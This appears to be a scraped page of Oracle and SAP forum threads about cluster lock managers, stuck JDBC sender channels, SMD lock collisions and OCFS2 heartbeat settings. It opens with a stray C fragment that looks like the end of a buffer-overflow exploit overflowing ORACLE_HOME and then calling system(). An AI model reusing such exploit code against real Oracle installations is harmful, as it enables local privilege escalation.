setenv("ORACLE_HOME",buff,1);
printf("[ offset:%d buffer=%d ret:0x%x ]\n",
offset,strlen(buff),addr);
system(PATH);
nullHi Peter,
I was told that Oracle8 and Oracle8i Parallel Server on IBM
RS/6000 AIX comes with its own Lock Manager and this LM does not
rely on the Cluster Lock Manager (cllockd) of HACMP for AIX, as
Oracle7 Parallel Server on normal (non-SP) RS/6000 does.
(Oracle7 Parallel Server on RS/6000 SP didn't use the cllockd of
HACMP but came with a special LM.)
Cluster-wide Filesystems are not used for OPS on Unix, as far as
I know Unix (AIX, Solaris). All Data-, Log- and Control-Files
must reside on concurrently (!) accessible Raw-Devices (e.g. Raw
Logical Volumes on AIX).
So I guess it should be possible for Oracle to port OPS to Linux.
No special Cluster-Services would be needed for OPS on Linux,
just a shared SCSI-bus (e.g.) and a fast interconnect (e.g.
100BaseT).
Peter Sechser (guest) wrote:
: Dave,
: Parallel Server needs some cluster services in order to
: communicate between several nodes. So, the operating system has
: to offer things like inter-node communication services,
: cluster-wide lock communication services and a clusterwide
: filesystem. I'm not quite sure, to what degree Linux
offers/will
: offer these services.
: Peter
null -
Jdbc sender adapter hangs and starts showing "Processing Started" forever
Dear ,
We are facing some issues with jdbc sender adapter channel on production system
Environment : XI 3.0 SP 20 + HP-UX 11.23 ia64 + Oracle 10.2
Sometimes it hangs and starts showing "Processing Started" forever on communication channel monitoring .
There is no error log for this.
If i stop it and then start it , no use.
If i copied this to a new one then it works.
I have found few SAP note like 1078420,1083488 , but my system is already at higher patch level.
Can you please advise me something as we are facing in production frequently.
Regards,
SandeepHi Sandeep,
This problem even we too faced in our project and thought of many stupid things finally found that the JDBC adapter is LOCKED.
Check in the Visual Admin >Cluster> "LOCKING ADAPTER"
we get a option of Display Locks .Check for an entry with
NAME : $XIDBAD.JDBC2XI
reset the locks and restart the CC ,now it works fine.
Note 1083488 - XI FTP/JDBC sender channel stop polling indefinitely(04/04S)
Thanks
Sudharshan -
Hi,
Executed task EWA GCA, got the error. Plz advise
3021] The task EWA GCA Task (XXXXX) failed during its processing!
[EXCEPTION]
com.sap.sup.admin.scheduler.exception.FatalTaskExecutionException: RemoteFileNotFound See log for details.
Full Message Text
[3021] The task EWA GCA Task (XXXXX) failed during its processing!
[EXCEPTION]
com.sap.sup.admin.scheduler.exception.FatalTaskExecutionException: RemoteFileNotFound See log for details
at com.sap.sup.admin.ewa.gca.TdaTask.process(TdaTask.java:500)
at sun.reflect.GeneratedMethodAccessor241.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:324)
at com.sap.smd.server.exec.asio.AsioInvocationHandler$1.call(AsioInvocationHandler.java:87)
at com.sap.smd.server.util.concurrent.FutureResult$1.run(FutureResult.java:90)
at com.sap.smd.server.exec.asio.AsioInvocationHandler$AsioRunner.run(AsioInvocationHandler.java:266)
at com.sap.smd.server.exec.TaskRunner.run(TaskRunner.java:45)
at com.sap.smd.server.util.concurrent.PooledExecutor$Worker.run(PooledExecutor.java:781)
at java.lang.Thread.run(Thread.java:534).
1829] Cannot acquire a lock on the task EWA GCA Task (bp1ss01z)!
[EXCEPTION]
com.sap.smd.cluster.locking.exception.LockingException: Cannot lock [2008062417441240400000XXXX.....................6994650, SMDScheduler, XXXXX, X]; it is in use by another owner. The lock collision occurred with
1829] Cannot acquire a lock on the task EWA GCA Task (bp1ss01z)!
[EXCEPTION]
com.sap.smd.cluster.locking.exception.LockingException: Cannot lock [2008062417441240400000XXXX.....................6994650, SMDScheduler, XXXXX, X]; it is in use by another owner. The lock collision occurred with user J2EE_GUEST.
at com.sap.smd.cluster.locking.LockingManager.lockUserTransaction(LockingManager.java:246)
at com.sap.sup.admin.scheduler.JmsScheduler.acquireUserTransactionLock(JmsScheduler.java:2435)
at com.sap.sup.admin.scheduler.consumer.SchedulerTaskQueueConsumerBean.onMessage(SchedulerTaskQueueConsumerBean.java:127)
at com.sap.sup.admin.scheduler.consumer.SchedulerTaskQueueConsumerBean0_0Extension.onMessage(SchedulerTaskQueueConsumerBean0_0Extension.java:141)
at com.sap.jms.client.session.Session.run(Session.java:619)
at com.sap.engine.services.jmsconnector.cci.SessionImpl.run(SessionImpl.java:216)
at com.sap.engine.services.ejb.message.RunnableObject.run(RunnableObject.java:49)
at com.sap.engine.core.thread.impl3.ActionObject.run(ActionObject.java:37)
at java.security.AccessController.doPrivileged(Native Method)
at com.sap.engine.core.thread.impl3.SingleThread.execute(SingleThread.java:102)
at com.sap.engine.core.thread.impl3.SingleThread.run(SingleThread.java:172)
Caused by: com.sap.engine.frame.core.locking.LockException: Cannot lock [2008062417441240400000XXXX.....................6994650, SMDScheduler, XXXXX, X]; it is in use by another owner. The lock collision occurred with user J2EE_GUEST.
at com.sap.engine.core.locking.impl3.LockingManagerImpl.lockInternal(LockingManagerImpl.java:257)
at com.sap.engine.core.locking.AbstractLockingManagerImpl.lock(AbstractLockingManagerImpl.java:423)
at com.sap.engine.services.applocking.AbstractBaseLocking.lockInternal(AbstractBaseLocking.java:133)
at com.sap.engine.services.applocking.LogicalLockingImpl.lock(LogicalLockingImpl.java:43)
at com.sap.engine.services.applocking.NamespaceLogicalLockingImpl.lock(NamespaceLogicalLockingImpl.java:47)
at com.sap.engine.services.applocking.LogicalLocking_Stub.lock(LogicalLocking_Stub.java:65)
at com.sap.smd.cluster.locking.LockingManager.lockUserTransaction(LockingManager.java:242)
Thanks in advance.
Edited by: Kobby bryant on Jun 24, 2008 11:46 PM
Edited by: Kobby bryant on Jun 24, 2008 11:49 PM
Edited by: Kobby bryant on Jun 24, 2008 11:50 PMSMD agents have been set, GCA data is been collected for app servers. Central Instance EWA GCA task is failing.
Is there any way to solve this issue...
Thx in advance.
Edited by: Kobby bryant on Jun 26, 2008 2:33 PM -
Question for the O2CB_HEARTBEAT_THRESHOLD option
Hi,
I am trying to install a two node rac cluster with RHEL 5.5 and OCFS2.
On page http://oss.oracle.com/projects/ocfs2/dist/documentation/v1.2/ocfs2_faq.html (FAQ 105) there is a formula used to calculate the O2CB_HEARTBEAT_THRESHOLD:
O2CB_HEARTBEAT_THRESHOLD = (((timeout in seconds) / 2) + 1)
What does it means the "timeout in seconds"? Where I can found it?
Thanks in advanced,
GS
Edited by: user12076634 on Mar 26, 2012 9:55 AMThe very first link Google brings up answers your question.
Source:
http://oss.oracle.com/projects/ocfs2/dist/documentation/v1.2/ocfs2_faq.html
Quote:
"When is a node deemed dead?
An active node is deemed dead if it does not update its timestamp for O2CB_HEARTBEAT_THRESHOLD (default=31) loops. Once a node is deemed dead, the surviving node which manages to cluster lock the dead node's journal, recovers it by replaying the journal."
Now if you do not understand this you need to explain what it is about it you do not understand because it all seems perfectly clear to this correspondent. -
JDBC Sender channel not processing the messages
Hello,
From yesterday onwards JDBC Sender channel not processing the messages. In CC monitoring it is showing in Green Led and status is functioning. Cahnnel is polling for messages to DB server as per polling interval. But it is not processing the msg's. Under Processing detials for cluster node it is showing only "Processing Started" for each polling interval.
I have done the check in DB server by executing the query in the channel, whether there are any records are exisitng or not. There are 1000+ records.
Previously the parameter "Disconnect from DB after processing each message" was not set. I have set the parameter and activated in Productiion. Still the messages are not processing by channel
What was the problem? How to rectify with this.
Cheers
VeeraCheck in the Visual Admin >Cluster> "LOCKING ADAPTER"
we get a option of Display Locks .Check for an entry with
NAME : $XIDBAD.JDBC2XI
reset the locks and restart the CC ,now it works fine.
Note 1083488 - XI FTP/JDBC sender channel stop polling indefinitely(04/04S) -
We are witnessing a strange behavior with our XI system
The XI communication channel fails to read the file. In fact it never pings that file. The file was there in the folder for hours, but XI never read it although the communication channel was always green and the communication channel monitoring shows it was continuously pinging in the folder.
As soon as we restarted the channel (I just stopped it and again pressed start) it picked up the file.
What can be the reason and it happens only once or twice in a month. And for the rest of the days it runs fine with errorsHi,
In the Visual Admin --->Cluster ---> "LOCKING ADAPTER"
You get a option of Display Locks .Check there, if it is locked reset the lock and restart the CC.
Regards,
Sarvesh -
Lock object for KONV table/Cluster table ??
Hi All,
Is it possible to set Lock/Enqueue cluster tables or in my case table:KONV (KNUMV field) ?.
OSS provided some programs without locks so was hoping if I could add before performing data manipulation.
Regards,
NeethHi Nameeth,
you can use generic lock object E_TABLE with function modules ENQUEUE_E_TABLE, DEQUEUE_E_TABLE for locking and unlocking with parameters table name and key field.
Regards,
Satya -
Using synchronized lock in a cluster - will it work ?
Hi all,
I'm going to plan a web application that should
run in a cluster environment.
Somewhere in the code I need to protect global variables
with "synchronized".
Will it work in cluster?
Thanks
Francesco
These design will create more problem then the benefits of clustering. Try
storing that data in database where all the nodes of cluster can share and
probably you lock the record when you access it.
Thanks
Aravind
"Bart Simpson" <[email protected]> wrote in message
news:3e8c7151$[email protected]..
>
> Hi,
>
> How are you doing? Generally, I don't think it will work:( Thead
synchronization
> only works within a single VM.
>
> Best regards,
> -Bart
>
> "Francesco" <[email protected]> wrote:
> >
> >Hi all,
> >I'm going to plan a web application that should
> >run in a cluster environment.
> >Somewhere in the code I need to protect global variables
> >with "synchronized".
> >Will it work in cluster?
> >Thanks
> >Francesco
>
-
VMs on Failover Cluster hanging in "Locked" state
I'm managing a Windows Server 2012 R2 2-node cluster that is backed up using a separate DPM 2012 R2 server. All VMs are on Cluster Shared Storage.
I've noticed that some VMs keep hanging in a "Running (Locked)" state (in FOCM, in HVM it shows a "Backing up..." state). Things I noticed while the VMs are in this state are:
every subsequent DPM backup will fail (it looks like DPM is the cause of this "Locked" state)
the VM can't be moved to another node
if the VM is backed up "Online", I can see AVHD files -- the VHD files have the date of the last succesful DPM backup
if the VM is backed up "Offline", I can't find any snapshots (the VHD files have the date of the last succesful DPM backup, which is weird, since the data in the VM is actually changing)
The only way out of this situation is to shut down the VMs and reboot both cluster nodes. Of course, this isn't something that I like to do on a weekly basis.
My questions:
- What can I do to prevent this "Locked" problem? (the last 2 months I've experienced this problem with 5 different VMs)
- Is there another way to get out of the "Locked" situation? Preferably one that doesn't require a cluster reboot.
- Are there any logs I can check to get more information about this problem?
Thanks in advance!I don't have a couple of those hotfixes. Mainly because the hotfix page states that I only should install it if I experience the problems mentioned -- which isn't always the case.
I have a service interval coming up and will install the relevant patches. I'll report back when I have new information.
Thanks so far!
Maybe you are looking for
-
Can I get Date also from temporary table?
--(1) get table ONLY create global temporary table cat1 as select * from category; --(2) get table and data create table cat2 as select * from category; null
-
How do you measure frequency using the onboard counter on PCMCIA 6024-E
I am using LABView 6.1 and NI-DAQ 7.2 with a SCXI-1000 chassis and a PCMCIA 6024-E on a laptop. I need to measure a frequency of about 3KHz and would like to do that using an 1180 direct through connector. Firstly, should I see this 1180 in MAX like
-
Generic IR remote iPhone app?
I just switched to a 27" iMac, and discovered that my old mac's IR remote is useless with it. Got the Apple Remote app from the app store, which works fine with iTunes, but I need a more general purpose app that will let me use my iPhone as a remote
-
If port is unavailable then which service is listening on that port
hi all I am writing one module to check 1) which ports are available in system and 2) if port is unavailable then which service is listening on that port. I want to run that module on Windows platform and also UNIX platform. I have done first part bu
-
I purchased a used late 2012 iMac and I want to change ownership to me
Can you tell me how to reset the computer so I can register it in my name with Apple?